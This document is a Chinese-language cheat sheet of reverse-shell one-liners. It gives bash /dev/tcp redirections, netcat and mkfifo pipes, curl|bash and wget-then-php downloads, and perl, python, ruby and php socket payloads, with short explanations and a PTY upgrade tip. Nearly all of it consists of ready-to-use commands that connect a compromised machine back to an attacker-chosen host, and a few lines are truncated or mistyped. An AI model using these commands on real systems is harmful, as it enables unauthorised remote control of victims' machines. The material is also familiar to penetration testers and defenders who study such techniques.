反弹shell
记录一些常用的反弹shell
bash
最常见的方式 bash -i >& /dev/tcp/<ip>/<port> 0>&1
命令 | 解析 |
---|---|
bash -i | 产生bash交互环境 |
>& | 将联合符合前面的内容与后面的内容相结合后传递给后者 |
/dev/tcp/<ip>/<port> | 特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。 |
0>&1 | 将标准输入与标准输出内容相结合,然后重定向给前面的标准输出内容 |
bash -i>& /dev/tcp/<ip>/<port> 0<&1
bash -i >& /dev/tcp/<ip>/<port> <&2
bash -i >& /dev/tcp/<ip>/<port> 0<&2
netcat
nc <ip> <port> -t /bin/bash
nc -e /bin/bash <ip> <port>
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash 1>backpipe 2>backpipe
curl
curl <server>|bash
首先在一台公网服务器的某一页面写上bash的反弹shell 在victim上执行即可反弹
perl
perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<ip>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
windows可以使用如下方式反弹
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<ip>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
wget
wget <server>/shell.txt -O /tmp/x.php && php /tmp/x.php
exec
exec 5<>/dev/tcp/<ip</<port>
cat <&5 | while read line; do $line 2>&5 >&5; done
0<&196;exec 196<>/dev/tcp/<ip>/<port>; sh <&196 >&196 2>&196
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ruby
ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<ip>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
windows使用以下方式反弹 ruby -rsocket -e 'c=TCPSocket.new("<ip>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
php
php -r 'exec("bash -i >& /dev/tcp/<ip</<port> 0>&1");'
php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'
php- 'exec("/bin/bash -i >& /dev/tcp/<ip>/<port>")'
当拿到的shell不是交互式的时候
python -c 'import pty; pty.spawn("/bin/bash")'
好文章
从OpenVPN配置文件中创建反弹Shell实现用户系统控制 自动化反弹Shell防御技术
Linux 反弹shell(二)反弹shell的本质